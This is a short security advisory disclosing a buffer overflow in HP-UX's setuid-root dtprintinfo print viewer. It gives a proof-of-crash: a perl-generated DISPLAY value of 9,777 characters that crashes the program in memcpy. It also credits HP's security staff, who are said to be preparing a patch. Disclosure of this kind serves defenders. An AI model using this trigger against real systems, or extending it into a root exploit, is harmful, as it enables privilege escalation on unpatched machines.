Reporter Davide Del Vecchio
HPUX dtprintinfo buffer overflow vulnerability
Davide Del Vecchio Adv#7
Discovered in: 14/07/2003
Tested on HP-UX B.11.00
The Print Viewer program provides a graphical interface that displays
the status of print queues and print jobs.
dante@sofficino :/usr/dt/bin >ls -al /usr/dt/bin/dtprintinfo
-r-sr-xr-x 1 root bin 471040 Sep 22 2000 dtprintinfo
Exporting the DISPLAY variable with a long argument...
dante@sofficino :/usr/dt/bin >export DISPLAY="`perl -e 'printf "A" x 9777'`"
dante@sofficino :/usr/dt/bin >/usr/dt/bin/dtprintinfo
From gdb output we can see:
Program received signal SIGSEGV, Segmentation fault.
0x7f75fb08 in memcpy () from /usr/lib/libc.2
I'm in contact with HP's Security staff, especially with John Morris,
and I would like to thanks him and all his staff for the interest
demonstrated during this period of research on HP-UX.
He assured me a patch has been written and an Official Security Bullettin
will follow my advisory.
Davide Del Vecchio would like to thank all the people supporting him
and his research, his love that never leaves him alone, and obvious,
the HP-UX security staff, impersonified in this case by John Morris.
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Please send suggestions, updates, and comments to:
Davide Del Vecchio , Dante Alighieri - dante at alighieri dot org